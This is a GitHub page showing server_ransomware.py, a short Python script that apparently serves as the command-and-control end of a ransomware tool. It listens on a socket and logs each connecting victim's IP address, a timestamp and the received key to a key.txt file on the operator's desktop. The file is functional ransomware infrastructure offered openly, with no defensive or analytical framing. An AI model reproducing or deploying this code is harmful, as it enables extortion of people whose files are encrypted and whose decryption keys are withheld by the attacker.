-
Notifications
You must be signed in to change notification settings - Fork 5
/
server_ransomware.py
66 lines (32 loc) · 1.03 KB
/
server_ransomware.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import socket
import datetime
import threading
class Serveur() :
def __init__(self) :
'Init method'
def run(self) :
sock.bind((host,port))
print('[-] Server listenning on {}'.format(port))
sock.listen()
while True :
global conn
global addr
global it
conn, addr = sock.accept()
print('Connexion from {}'.format(addr))
self.th3 = threading.Thread(target=self.next,daemon=True)
self.th3.start()
def next(self) :
data = conn.recv(2048)
print(data.decode('Utf8'))
print()
tday = datetime.datetime.today().strftime("%Y-%m-%d %H:%M:%S")
with open('c:\\Users\\Alex\\Desktop\\key.txt','a') as f :
f.write('Connexion from : {} , at : {} , Key : {}'.format(addr[0],tday,data.decode('Utf8')))
f.write('\n')
host = '192.168.1.31'
port = 9984
memo = {}
sock = socket.socket()
serv = Serveur()
serv.run()